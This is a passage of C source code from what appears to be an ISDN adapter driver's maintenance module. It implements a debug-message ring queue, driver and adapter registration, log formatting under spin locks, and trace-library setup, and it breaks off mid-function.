static void DiProcessEventLog (unsigned short id, unsigned long msgID, va_list ap) { }
static void single_p (byte * P, word * PLength, byte Id);
static void diva_maint_xdi_cb (ENTITY* e);
static word SuperTraceCreateReadReq (byte* P, const char* path);
static int diva_mnt_cmp_nmbr (const char* nmbr);
static void diva_free_dma_descriptor (IDI_CALL request, int nr);
static int diva_get_dma_descriptor (IDI_CALL request, dword *dma_magic);
void diva_mnt_internal_dprintf (dword drv_id, dword type, char* p, ...);
static dword MaxDumpSize = 256 ;
static dword MaxXlogSize = 2 + 128 ;
static char TraceFilter[DIVA_MAX_SELECTIVE_FILTER_LENGTH+1];
static int TraceFilterIdent = -1;
static int TraceFilterChannel = -1;
typedef struct _diva_maint_client {
dword sec;
dword usec;
pDbgHandle hDbg;
char drvName[128];
dword dbgMask;
dword last_dbgMask;
IDI_CALL request;
_DbgHandle_ Dbg;
int logical;
int channels;
diva_strace_library_interface_t* pIdiLib;
BUFFERS XData;
char xbuffer[2048+512];
byte* pmem;
int request_pending;
int dma_handle;
} diva_maint_client_t;
static diva_maint_client_t clients[MAX_DESCRIPTORS];
static void diva_change_management_debug_mask (diva_maint_client_t* pC, dword old_mask);
static void diva_maint_error (void* user_context,
diva_strace_library_interface_t* hLib,
int Adapter,
int error,
const char* file,
int line);
static void diva_maint_state_change_notify (void* user_context,
diva_strace_library_interface_t* hLib,
int Adapter,
diva_trace_line_state_t* channel,
int notify_subject);
static void diva_maint_trace_notify (void* user_context,
diva_strace_library_interface_t* hLib,
int Adapter,
void* xlog_buffer,
int length);
typedef struct MSG_QUEUE {
dword Size; /* total size of queue (constant) */
byte *Base; /* lowest address (constant) */
byte *High; /* Base + Size (constant) */
byte *Head; /* first message in queue (if any) */
byte *Tail; /* first free position */
byte *Wrap; /* current wraparound position */
dword Count; /* current no of bytes in queue */
} MSG_QUEUE;
typedef struct MSG_HEAD {
volatile dword Size; /* size of data following MSG_HEAD */
#define MSG_INCOMPLETE 0x8000 /* ored to Size until queueCompleteMsg */
} MSG_HEAD;
#define queueCompleteMsg(p) do{ ((MSG_HEAD *)p - 1)->Size &= ~MSG_INCOMPLETE; }while(0)
#define queueCount(q) ((q)->Count)
#define MSG_NEED(size) \
( (sizeof(MSG_HEAD) + size + sizeof(dword) - 1) & ~(sizeof(dword) - 1) )
static void queueInit (MSG_QUEUE *Q, byte *Buffer, dword sizeBuffer) {
Q->Size = sizeBuffer;
Q->Base = Q->Head = Q->Tail = Buffer;
Q->High = Buffer + sizeBuffer;
Q->Wrap = NULL;
Q->Count= 0;
}
static byte *queueAllocMsg (MSG_QUEUE *Q, word size) {
/* Allocate 'size' bytes at tail of queue which will be filled later
* directly with callers own message header info and/or message.
* An 'alloced' message is marked incomplete by oring the 'Size' field
* with MSG_INCOMPLETE.
* This must be reset via queueCompleteMsg() after the message is filled.
* As long as a message is marked incomplete queuePeekMsg() will return
* a 'queue empty' condition when it reaches such a message. */
MSG_HEAD *Msg;
word need = MSG_NEED(size);
if (Q->Tail == Q->Head) {
if (Q->Wrap || need > Q->Size) {
return NULL; /* full */
}
goto alloc; /* empty */
}
if (Q->Tail > Q->Head) {
if (Q->Tail + need <= Q->High) goto alloc; /* append */
if (Q->Base + need > Q->Head) {
return NULL; /* too much */
}
/* wraparound the queue (but not the message) */
Q->Wrap = Q->Tail;
Q->Tail = Q->Base;
goto alloc;
}
if (Q->Tail + need > Q->Head) {
return NULL; /* too much */
}
alloc:
Msg = (MSG_HEAD *)Q->Tail;
Msg->Size = size | MSG_INCOMPLETE;
Q->Tail += need;
Q->Count += size;
return ((byte*)(Msg + 1));
}
static void queueFreeMsg (MSG_QUEUE *Q) {
/* Free the message at head of queue */
word size = ((MSG_HEAD *)Q->Head)->Size & ~MSG_INCOMPLETE;
Q->Head += MSG_NEED(size);
Q->Count -= size;
if (Q->Wrap) {
if (Q->Head >= Q->Wrap) {
Q->Head = Q->Base;
Q->Wrap = NULL;
}
} else if (Q->Head >= Q->Tail) {
Q->Head = Q->Tail = Q->Base;
}
}
static byte *queuePeekMsg (MSG_QUEUE *Q, word *size) {
/* Show the first valid message in queue BUT DON'T free the message.
* After looking on the message contents it can be freed queueFreeMsg()
* or simply remain in message queue. */
MSG_HEAD *Msg = (MSG_HEAD *)Q->Head;
if (((byte *)Msg == Q->Tail && !Q->Wrap) ||
(Msg->Size & MSG_INCOMPLETE)) {
return NULL;
} else {
*size = Msg->Size;
return ((byte *)(Msg + 1));
}
}
/*
Message queue header
*/
static MSG_QUEUE* dbg_queue;
static byte* dbg_base;
static int external_dbg_queue;
static diva_os_spin_lock_t dbg_q_lock;
static diva_os_spin_lock_t dbg_adapter_lock;
static int dbg_q_busy;
static volatile dword dbg_sequence;
static dword start_sec;
static dword start_usec;
/*
INTERFACE:
Initialize run time queue structures.
base: base of the message queue
length: length of the message queue
do_init: perfor queue reset
return: zero on success, -1 on error
*/
int diva_maint_init (byte* base, unsigned long length, int do_init) {
if (dbg_queue || (!base) || (length < (4096*4))) {
return (-1);
}
TraceFilter[0] = 0;
TraceFilterIdent = -1;
TraceFilterChannel = -1;
dbg_base = base;
diva_os_get_time (&start_sec, &start_usec);
*(dword*)base = (dword)DBG_MAGIC; /* Store Magic */
base += sizeof(dword);
length -= sizeof(dword);
*(dword*)base = 2048; /* Extension Field Length */
base += sizeof(dword);
length -= sizeof(dword);
strcpy (base, "KERNEL MODE BUFFER\n");
base += 2048;
length -= 2048;
*(dword*)base = 0; /* Terminate extension */
base += sizeof(dword);
length -= sizeof(dword);
*(void**)base = (void*)(base+sizeof(void*)); /* Store Base */
base += sizeof(void*);
length -= sizeof(void*);
dbg_queue = (MSG_QUEUE*)base;
queueInit (dbg_queue, base + sizeof(MSG_QUEUE), length - sizeof(MSG_QUEUE) - 512);
external_dbg_queue = 0;
if (!do_init) {
external_dbg_queue = 1; /* memory was located on the external device */
}
if (diva_os_initialize_spin_lock (&dbg_q_lock, "dbg_init")) {
dbg_queue = NULL;
dbg_base = NULL;
external_dbg_queue = 0;
return (-1);
}
if (diva_os_initialize_spin_lock (&dbg_adapter_lock, "dbg_init")) {
diva_os_destroy_spin_lock(&dbg_q_lock, "dbg_init");
dbg_queue = NULL;
dbg_base = NULL;
external_dbg_queue = 0;
return (-1);
}
return (0);
}
/*
INTERFACE:
Finit at unload time
return address of internal queue or zero if queue
was external
*/
void* diva_maint_finit (void) {
void* ret = (void*)dbg_base;
int i;
dbg_queue = NULL;
dbg_base = NULL;
if (ret) {
diva_os_destroy_spin_lock(&dbg_q_lock, "dbg_finit");
diva_os_destroy_spin_lock(&dbg_adapter_lock, "dbg_finit");
}
if (external_dbg_queue) {
ret = NULL;
}
external_dbg_queue = 0;
for (i = 1; i < ARRAY_SIZE(clients); i++) {
if (clients[i].pmem) {
diva_os_free (0, clients[i].pmem);
}
}
return (ret);
}
/*
INTERFACE:
Return amount of messages in debug queue
*/
dword diva_dbg_q_length (void) {
return (dbg_queue ? queueCount(dbg_queue) : 0);
}
/*
INTERFACE:
Lock message queue and return the pointer to the first
entry.
*/
diva_dbg_entry_head_t* diva_maint_get_message (word* size,
diva_os_spin_lock_magic_t* old_irql) {
diva_dbg_entry_head_t* pmsg = NULL;
diva_os_enter_spin_lock (&dbg_q_lock, old_irql, "read");
if (dbg_q_busy) {
diva_os_leave_spin_lock (&dbg_q_lock, old_irql, "read_busy");
return NULL;
}
dbg_q_busy = 1;
if (!(pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, size))) {
dbg_q_busy = 0;
diva_os_leave_spin_lock (&dbg_q_lock, old_irql, "read_empty");
}
return (pmsg);
}
/*
INTERFACE:
acknowledge last message and unlock queue
*/
void diva_maint_ack_message (int do_release,
diva_os_spin_lock_magic_t* old_irql) {
if (!dbg_q_busy) {
return;
}
if (do_release) {
queueFreeMsg (dbg_queue);
}
dbg_q_busy = 0;
diva_os_leave_spin_lock (&dbg_q_lock, old_irql, "read_ack");
}
/*
INTERFACE:
PRT COMP function used to register
with MAINT adapter or log in compatibility
mode in case older driver version is connected too
*/
void diva_maint_prtComp (char *format, ...) {
void *hDbg;
va_list ap;
if (!format)
return;
va_start(ap, format);
/*
register to new log driver functions
*/
if ((format[0] == 0) && ((unsigned char)format[1] == 255)) {
hDbg = va_arg(ap, void *); /* ptr to DbgHandle */
DI_register (hDbg);
}
va_end (ap);
}
static void DI_register (void *arg) {
diva_os_spin_lock_magic_t old_irql;
dword sec, usec;
pDbgHandle hDbg ;
int id, free_id = -1, best_id = 0;
diva_os_get_time (&sec, &usec);
hDbg = (pDbgHandle)arg ;
/*
Check for bad args, specially for the old obsolete debug handle
*/
if ((hDbg == NULL) ||
((hDbg->id == 0) && (((_OldDbgHandle_ *)hDbg)->id == -1)) ||
(hDbg->Registered != 0)) {
return ;
}
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "register");
for (id = 1; id < ARRAY_SIZE(clients); id++) {
if (clients[id].hDbg == hDbg) {
/*
driver already registered
*/
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "register");
return;
}
if (clients[id].hDbg) { /* slot is busy */
continue;
}
free_id = id;
if (!strcmp (clients[id].drvName, hDbg->drvName)) {
/*
This driver was already registered with this name
and slot is still free - reuse it
*/
best_id = 1;
break;
}
if (!clients[id].hDbg) { /* slot is busy */
break;
}
}
if (free_id != -1) {
diva_dbg_entry_head_t* pmsg = NULL;
int len;
char tmp[256];
word size;
/*
Register new driver with id == free_id
*/
clients[free_id].hDbg = hDbg;
clients[free_id].sec = sec;
clients[free_id].usec = usec;
strcpy (clients[free_id].drvName, hDbg->drvName);
clients[free_id].dbgMask = hDbg->dbgMask;
if (best_id) {
hDbg->dbgMask |= clients[free_id].last_dbgMask;
} else {
clients[free_id].last_dbgMask = 0;
}
hDbg->Registered = DBG_HANDLE_REG_NEW ;
hDbg->id = (byte)free_id;
hDbg->dbg_end = DI_deregister;
hDbg->dbg_prt = DI_format_locked;
hDbg->dbg_ev = DiProcessEventLog;
hDbg->dbg_irq = DI_format_locked;
if (hDbg->Version > 0) {
hDbg->dbg_old = DI_format_old;
}
hDbg->next = (pDbgHandle)DBG_MAGIC;
/*
Log driver register, MAINT driver ID is '0'
*/
len = sprintf (tmp, "DIMAINT - drv # %d = '%s' registered",
free_id, hDbg->drvName);
while (!(pmsg = (diva_dbg_entry_head_t*)queueAllocMsg (dbg_queue,
(word)(len+1+sizeof(*pmsg))))) {
if ((pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, &size))) {
queueFreeMsg (dbg_queue);
} else {
break;
}
}
if (pmsg) {
pmsg->sequence = dbg_sequence++;
pmsg->time_sec = sec;
pmsg->time_usec = usec;
pmsg->facility = MSG_TYPE_STRING;
pmsg->dli = DLI_REG;
pmsg->drv_id = 0; /* id 0 - DIMAINT */
pmsg->di_cpu = 0;
pmsg->data_length = len+1;
memcpy (&pmsg[1], tmp, len+1);
queueCompleteMsg (pmsg);
diva_maint_wakeup_read();
}
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "register");
}
static void DI_deregister (pDbgHandle hDbg) {
diva_os_spin_lock_magic_t old_irql, old_irql1;
dword sec, usec;
int i;
word size;
byte* pmem = NULL;
diva_os_get_time (&sec, &usec);
diva_os_enter_spin_lock (&dbg_adapter_lock, &old_irql1, "read");
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "read");
for (i = 1; i < ARRAY_SIZE(clients); i++) {
if (clients[i].hDbg == hDbg) {
diva_dbg_entry_head_t* pmsg;
char tmp[256];
int len;
clients[i].hDbg = NULL;
hDbg->id = -1;
hDbg->dbgMask = 0;
hDbg->dbg_end = NULL;
hDbg->dbg_prt = NULL;
hDbg->dbg_irq = NULL;
if (hDbg->Version > 0)
hDbg->dbg_old = NULL;
hDbg->Registered = 0;
hDbg->next = NULL;
if (clients[i].pIdiLib) {
(*(clients[i].pIdiLib->DivaSTraceLibraryFinit))(clients[i].pIdiLib->hLib);
clients[i].pIdiLib = NULL;
pmem = clients[i].pmem;
clients[i].pmem = NULL;
}
/*
Log driver register, MAINT driver ID is '0'
*/
len = sprintf (tmp, "DIMAINT - drv # %d = '%s' de-registered",
i, hDbg->drvName);
while (!(pmsg = (diva_dbg_entry_head_t*)queueAllocMsg (dbg_queue,
(word)(len+1+sizeof(*pmsg))))) {
if ((pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, &size))) {
queueFreeMsg (dbg_queue);
} else {
break;
}
}
if (pmsg) {
pmsg->sequence = dbg_sequence++;
pmsg->time_sec = sec;
pmsg->time_usec = usec;
pmsg->facility = MSG_TYPE_STRING;
pmsg->dli = DLI_REG;
pmsg->drv_id = 0; /* id 0 - DIMAINT */
pmsg->di_cpu = 0;
pmsg->data_length = len+1;
memcpy (&pmsg[1], tmp, len+1);
queueCompleteMsg (pmsg);
diva_maint_wakeup_read();
}
break;
}
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "read_ack");
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "read_ack");
if (pmem) {
diva_os_free (0, pmem);
}
}
static void DI_format_locked (unsigned short id,
int type,
char *format,
va_list argument_list) {
DI_format (1, id, type, format, argument_list);
}
static void DI_format (int do_lock,
unsigned short id,
int type,
char *format,
va_list ap) {
diva_os_spin_lock_magic_t old_irql;
dword sec, usec;
diva_dbg_entry_head_t* pmsg = NULL;
dword length;
word size;
static char fmtBuf[MSG_FRAME_MAX_SIZE+sizeof(*pmsg)+1];
char *data;
unsigned short code;
if (diva_os_in_irq()) {
dbg_sequence++;
return;
}
if ((!format) ||
((TraceFilter[0] != 0) && ((TraceFilterIdent < 0) || (TraceFilterChannel < 0)))) {
return;
}
diva_os_get_time (&sec, &usec);
if (do_lock) {
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "format");
}
switch (type) {
case DLI_MXLOG :
case DLI_BLK :
case DLI_SEND:
case DLI_RECV:
if (!(length = va_arg(ap, unsigned long))) {
break;
}
if (length > MaxDumpSize) {
length = MaxDumpSize;
}
while (!(pmsg = (diva_dbg_entry_head_t*)queueAllocMsg (dbg_queue,
(word)length+sizeof(*pmsg)))) {
if ((pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, &size))) {
queueFreeMsg (dbg_queue);
} else {
break;
}
}
if (pmsg) {
memcpy (&pmsg[1], format, length);
pmsg->sequence = dbg_sequence++;
pmsg->time_sec = sec;
pmsg->time_usec = usec;
pmsg->facility = MSG_TYPE_BINARY ;
pmsg->dli = type; /* DLI_XXX */
pmsg->drv_id = id; /* driver MAINT id */
pmsg->di_cpu = 0;
pmsg->data_length = length;
queueCompleteMsg (pmsg);
}
break;
case DLI_XLOG: {
byte* p;
data = va_arg(ap, char*);
code = (unsigned short)va_arg(ap, unsigned int);
length = (unsigned long) va_arg(ap, unsigned int);
if (length > MaxXlogSize)
length = MaxXlogSize;
while (!(pmsg = (diva_dbg_entry_head_t*)queueAllocMsg (dbg_queue,
(word)length+sizeof(*pmsg)+2))) {
if ((pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, &size))) {
queueFreeMsg (dbg_queue);
} else {
break;
}
}
if (pmsg) {
p = (byte*)&pmsg[1];
p[0] = (char)(code) ;
p[1] = (char)(code >> 8) ;
if (data && length) {
memcpy (&p[2], &data[0], length) ;
}
length += 2 ;
pmsg->sequence = dbg_sequence++;
pmsg->time_sec = sec;
pmsg->time_usec = usec;
pmsg->facility = MSG_TYPE_BINARY ;
pmsg->dli = type; /* DLI_XXX */
pmsg->drv_id = id; /* driver MAINT id */
pmsg->di_cpu = 0;
pmsg->data_length = length;
queueCompleteMsg (pmsg);
}
} break;
case DLI_LOG :
case DLI_FTL :
case DLI_ERR :
case DLI_TRC :
case DLI_REG :
case DLI_MEM :
case DLI_SPL :
case DLI_IRP :
case DLI_TIM :
case DLI_TAPI:
case DLI_NDIS:
case DLI_CONN:
case DLI_STAT:
case DLI_PRV0:
case DLI_PRV1:
case DLI_PRV2:
case DLI_PRV3:
if ((length = (unsigned long)vsprintf (&fmtBuf[0], format, ap)) > 0) {
length += (sizeof(*pmsg)+1);
while (!(pmsg = (diva_dbg_entry_head_t*)queueAllocMsg (dbg_queue,
(word)length))) {
if ((pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, &size))) {
queueFreeMsg (dbg_queue);
} else {
break;
}
}
pmsg->sequence = dbg_sequence++;
pmsg->time_sec = sec;
pmsg->time_usec = usec;
pmsg->facility = MSG_TYPE_STRING;
pmsg->dli = type; /* DLI_XXX */
pmsg->drv_id = id; /* driver MAINT id */
pmsg->di_cpu = 0;
pmsg->data_length = length - sizeof(*pmsg);
memcpy (&pmsg[1], fmtBuf, pmsg->data_length);
queueCompleteMsg (pmsg);
}
break;
} /* switch type */
if (queueCount(dbg_queue)) {
diva_maint_wakeup_read();
}
if (do_lock) {
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "format");
}
}
/*
Write driver ID and driver revision to callers buffer
*/
int diva_get_driver_info (dword id, byte* data, int data_length) {
diva_os_spin_lock_magic_t old_irql;
byte* p = data;
int to_copy;
if (!data || !id || (data_length < 17) ||
(id >= ARRAY_SIZE(clients))) {
return (-1);
}
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "driver info");
if (clients[id].hDbg) {
*p++ = 1;
*p++ = (byte)clients[id].sec; /* save seconds */
*p++ = (byte)(clients[id].sec >> 8);
*p++ = (byte)(clients[id].sec >> 16);
*p++ = (byte)(clients[id].sec >> 24);
*p++ = (byte)(clients[id].usec/1000); /* save mseconds */
*p++ = (byte)((clients[id].usec/1000) >> 8);
*p++ = (byte)((clients[id].usec/1000) >> 16);
*p++ = (byte)((clients[id].usec/1000) >> 24);
data_length -= 9;
if ((to_copy = min(strlen(clients[id].drvName), (size_t)(data_length-1)))) {
memcpy (p, clients[id].drvName, to_copy);
p += to_copy;
data_length -= to_copy;
if ((data_length >= 4) && clients[id].hDbg->drvTag[0]) {
*p++ = '(';
data_length -= 1;
if ((to_copy = min(strlen(clients[id].hDbg->drvTag), (size_t)(data_length-2)))) {
memcpy (p, clients[id].hDbg->drvTag, to_copy);
p += to_copy;
data_length -= to_copy;
if (data_length >= 2) {
*p++ = ')';
data_length--;
}
}
}
}
}
*p++ = 0;
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "driver info");
return (p - data);
}
int diva_get_driver_dbg_mask (dword id, byte* data) {
diva_os_spin_lock_magic_t old_irql;
int ret = -1;
if (!data || !id || (id >= ARRAY_SIZE(clients))) {
return (-1);
}
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "driver info");
if (clients[id].hDbg) {
ret = 4;
*data++= (byte)(clients[id].hDbg->dbgMask);
*data++= (byte)(clients[id].hDbg->dbgMask >> 8);
*data++= (byte)(clients[id].hDbg->dbgMask >> 16);
*data++= (byte)(clients[id].hDbg->dbgMask >> 24);
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "driver info");
return (ret);
}
int diva_set_driver_dbg_mask (dword id, dword mask) {
diva_os_spin_lock_magic_t old_irql, old_irql1;
int ret = -1;
if (!id || (id >= ARRAY_SIZE(clients))) {
return (-1);
}
diva_os_enter_spin_lock (&dbg_adapter_lock, &old_irql1, "dbg mask");
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "dbg mask");
if (clients[id].hDbg) {
dword old_mask = clients[id].hDbg->dbgMask;
mask &= 0x7fffffff;
clients[id].hDbg->dbgMask = mask;
clients[id].last_dbgMask = (clients[id].hDbg->dbgMask | clients[id].dbgMask);
ret = 4;
diva_change_management_debug_mask (&clients[id], old_mask);
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "dbg mask");
if (clients[id].request_pending) {
clients[id].request_pending = 0;
(*(clients[id].request))((ENTITY*)(*(clients[id].pIdiLib->DivaSTraceGetHandle))(clients[id].pIdiLib->hLib));
}
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "dbg mask");
return (ret);
}
static int diva_get_idi_adapter_info (IDI_CALL request, dword* serial, dword* logical) {
IDI_SYNC_REQ sync_req;
sync_req.xdi_logical_adapter_number.Req = 0;
sync_req.xdi_logical_adapter_number.Rc = IDI_SYNC_REQ_XDI_GET_LOGICAL_ADAPTER_NUMBER;
(*request)((ENTITY *)&sync_req);
*logical = sync_req.xdi_logical_adapter_number.info.logical_adapter_number;
sync_req.GetSerial.Req = 0;
sync_req.GetSerial.Rc = IDI_SYNC_REQ_GET_SERIAL;
sync_req.GetSerial.serial = 0;
(*request)((ENTITY *)&sync_req);
*serial = sync_req.GetSerial.serial;
return (0);
}
/*
Register XDI adapter as MAINT compatible driver
*/
void diva_mnt_add_xdi_adapter (const DESCRIPTOR* d) {
diva_os_spin_lock_magic_t old_irql, old_irql1;
dword sec, usec, logical, serial, org_mask;
int id, best_id = 0, free_id = -1;
char tmp[256];
diva_dbg_entry_head_t* pmsg = NULL;
int len;
word size;
byte* pmem;
diva_os_get_time (&sec, &usec);
diva_get_idi_adapter_info (d->request, &serial, &logical);
if (serial & 0xff000000) {
sprintf (tmp, "ADAPTER:%d SN:%u-%d",
(int)logical,
serial & 0x00ffffff,
(byte)(((serial & 0xff000000) >> 24) + 1));
} else {
sprintf (tmp, "ADAPTER:%d SN:%u", (int)logical, serial);
}
if (!(pmem = diva_os_malloc (0, DivaSTraceGetMemotyRequirement (d->channels)))) {
return;
}
memset (pmem, 0x00, DivaSTraceGetMemotyRequirement (d->channels));
diva_os_enter_spin_lock (&dbg_adapter_lock, &old_irql1, "register");
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "register");
for (id = 1; id < ARRAY_SIZE(clients); id++) {
if (clients[id].hDbg && (clients[id].request == d->request)) {
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "register");
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "register");
diva_os_free(0, pmem);
return;
}
if (clients[id].hDbg) { /* slot is busy */
continue;
}
if (free_id < 0) {
free_id = id;
}
if (!strcmp (clients[id].drvName, tmp)) {
/*
This driver was already registered with this name
and slot is still free - reuse it
*/
free_id = id;
best_id = 1;
break;
}
}
if (free_id < 0) {
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "register");
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "register");
diva_os_free (0, pmem);
return;
}
id = free_id;
clients[id].request = d->request;
clients[id].request_pending = 0;
clients[id].hDbg = &clients[id].Dbg;
clients[id].sec = sec;
clients[id].usec = usec;
strcpy (clients[id].drvName, tmp);
strcpy (clients[id].Dbg.drvName, tmp);
clients[id].Dbg.drvTag[0] = 0;
clients[id].logical = (int)logical;
clients[id].channels = (int)d->channels;
clients[id].dma_handle = -1;
clients[id].Dbg.dbgMask = 0;
clients[id].dbgMask = clients[id].Dbg.dbgMask;
if (id) {
clients[id].Dbg.dbgMask |= clients[free_id].last_dbgMask;
} else {
clients[id].last_dbgMask = 0;
}
clients[id].Dbg.Registered = DBG_HANDLE_REG_NEW;
clients[id].Dbg.id = (byte)id;
clients[id].Dbg.dbg_end = DI_deregister;
clients[id].Dbg.dbg_prt = DI_format_locked;
clients[id].Dbg.dbg_ev = DiProcessEventLog;
clients[id].Dbg.dbg_irq = DI_format_locked;
clients[id].Dbg.next = (pDbgHandle)DBG_MAGIC;
{
diva_trace_library_user_interface_t diva_maint_user_ifc = { &clients[id],
diva_maint_state_change_notify,
diva_maint_trace_notify,
diva_maint_error };
/*
Attach to adapter management interface
*/
if ((clients[id].pIdiLib =
DivaSTraceLibraryCreateInstance ((int)logical, &diva_maint_user_ifc, pmem))) {
if (((*(clients[id].pIdiLib->DivaSTraceLibraryStart))(clients[id].pIdiLib->hLib))) {
diva_mnt_internal_dprintf (0, DLI_ERR, "Adapter(%d) Start failed", (int)logical);
(*(clients[id].pIdiLib->DivaSTraceLibraryFinit))(clients[id].pIdiLib->hLib);
clients[id].pIdiLib = NULL;
}
} else {
diva_mnt_internal_dprintf (0, DLI_ERR, "A(%d) management init failed", (int)logical);
}
}
if (!clients[id].pIdiLib) {
clients[id].request = NULL;
clients[id].request_pending = 0;
clients[id].hDbg = NULL;
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "register");
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "register");
diva_os_free (0, pmem);
return;
}
/*
Log driver register, MAINT driver ID is '0'
*/
len = sprintf (tmp, "DIMAINT - drv # %d = '%s' registered",
id, clients[id].Dbg.drvName);
while (!(pmsg = (diva_dbg_entry_head_t*)queueAllocMsg (dbg_queue,
(word)(len+1+sizeof(*pmsg))))) {
if ((pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, &size))) {
queueFreeMsg (dbg_queue);
} else {
break;
}
}
if (pmsg) {
pmsg->sequence = dbg_sequence++;
pmsg->time_sec = sec;
pmsg->time_usec = usec;
pmsg->facility = MSG_TYPE_STRING;
pmsg->dli = DLI_REG;
pmsg->drv_id = 0; /* id 0 - DIMAINT */
pmsg->di_cpu = 0;
pmsg->data_length = len+1;
memcpy (&pmsg[1], tmp, len+1);
queueCompleteMsg (pmsg);
diva_maint_wakeup_read();
}
org_mask = clients[id].Dbg.dbgMask;
clients[id].Dbg.dbgMask = 0;
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "register");
if (clients[id].request_pending) {
clients[id].request_pending = 0;
(*(clients[id].request))((ENTITY*)(*(clients[id].pIdiLib->DivaSTraceGetHandle))(clients[id].pIdiLib->hLib));
}
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "register");
diva_set_driver_dbg_mask (id, org_mask);
}
/*
De-Register XDI adapter
*/
void diva_mnt_remove_xdi_adapter (const DESCRIPTOR* d) {
diva_os_spin_lock_magic_t old_irql, old_irql1;
dword sec, usec;
int i;
word size;
byte* pmem = NULL;
diva_os_get_time (&sec, &usec);
diva_os_enter_spin_lock (&dbg_adapter_lock, &old_irql1, "read");
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "read");
for (i = 1; i < ARRAY_SIZE(clients); i++) {
if (clients[i].hDbg && (clients[i].request == d->request)) {
diva_dbg_entry_head_t* pmsg;
char tmp[256];
int len;
if (clients[i].pIdiLib) {
(*(clients[i].pIdiLib->DivaSTraceLibraryFinit))(clients[i].pIdiLib->hLib);
clients[i].pIdiLib = NULL;
pmem = clients[i].pmem;
clients[i].pmem = NULL;
}
clients[i].hDbg = NULL;
clients[i].request_pending = 0;
if (clients[i].dma_handle >= 0) {
/*
Free DMA handle
*/
diva_free_dma_descriptor (clients[i].request, clients[i].dma_handle);
clients[i].dma_handle = -1;
}
clients[i].request = NULL;
/*
Log driver register, MAINT driver ID is '0'
*/
len = sprintf (tmp, "DIMAINT - drv # %d = '%s' de-registered",
i, clients[i].Dbg.drvName);
memset (&clients[i].Dbg, 0x00, sizeof(clients[i].Dbg));
while (!(pmsg = (diva_dbg_entry_head_t*)queueAllocMsg (dbg_queue,
(word)(len+1+sizeof(*pmsg))))) {
if ((pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, &size))) {
queueFreeMsg (dbg_queue);
} else {
break;
}
}
if (pmsg) {
pmsg->sequence = dbg_sequence++;
pmsg->time_sec = sec;
pmsg->time_usec = usec;
pmsg->facility = MSG_TYPE_STRING;
pmsg->dli = DLI_REG;
pmsg->drv_id = 0; /* id 0 - DIMAINT */
pmsg->di_cpu = 0;
pmsg->data_length = len+1;
memcpy (&pmsg[1], tmp, len+1);
queueCompleteMsg (pmsg);
diva_maint_wakeup_read();
}
break;
}
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "read_ack");
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "read_ack");
if (pmem) {
diva_os_free (0, pmem);
}
}
/* ----------------------------------------------------------------
Low level interface for management interface client
---------------------------------------------------------------- */
/*
Return handle to client structure
*/
void* SuperTraceOpenAdapter (int AdapterNumber) {
int i;
for (i = 1; i < ARRAY_SIZE(clients); i++) {
if (clients[i].hDbg && clients[i].request && (clients[i].logical == AdapterNumber)) {
return (&clients[i]);
}
}
return NULL;
}
int SuperTraceCloseAdapter (void* AdapterHandle) {
return (0);
}
int SuperTraceReadRequest (void* AdapterHandle, const char* name, byte* data) {
diva_maint_client_t* pC = (diva_maint_client_t*)AdapterHandle;
if (pC && pC->pIdiLib && pC->request) {
ENTITY* e = (ENTITY*)(*(pC->pIdiLib->DivaSTraceGetHandle))(pC->pIdiLib->hLib);
byte* xdata = (byte*)&pC->xbuffer[0];
char tmp = 0;
word length;
if (!strcmp(name, "\\")) { /* Read ROOT */
name = &tmp;
}
length = SuperTraceCreateReadReq (xdata, name);
single_p (xdata, &length, 0); /* End Of Message */
e->Req = MAN_READ;
e->ReqCh = 0;
e->X->PLength = length;
e->X->P = (byte*)xdata;
pC->request_pending = 1;
return (0);
}
return (-1);
}
int SuperTraceGetNumberOfChannels (void* AdapterHandle) {
if (AdapterHandle) {
diva_maint_client_t* pC = (diva_maint_client_t*)AdapterHandle;
return (pC->channels);
}
return (0);
}
int SuperTraceASSIGN (void* AdapterHandle, byte* data) {
diva_maint_client_t* pC = (diva_maint_client_t*)AdapterHandle;
if (pC && pC->pIdiLib && pC->request) {
ENTITY* e = (ENTITY*)(*(pC->pIdiLib->DivaSTraceGetHandle))(pC->pIdiLib->hLib);
IDI_SYNC_REQ* preq;
char buffer[((sizeof(preq->xdi_extended_features)+4) > sizeof(ENTITY)) ? (sizeof(preq->xdi_extended_features)+4) : sizeof(ENTITY)];
char features[4];
word assign_data_length = 1;
features[0] = 0;
pC->xbuffer[0] = 0;
preq = (IDI_SYNC_REQ*)&buffer[0];
preq->xdi_extended_features.Req = 0;
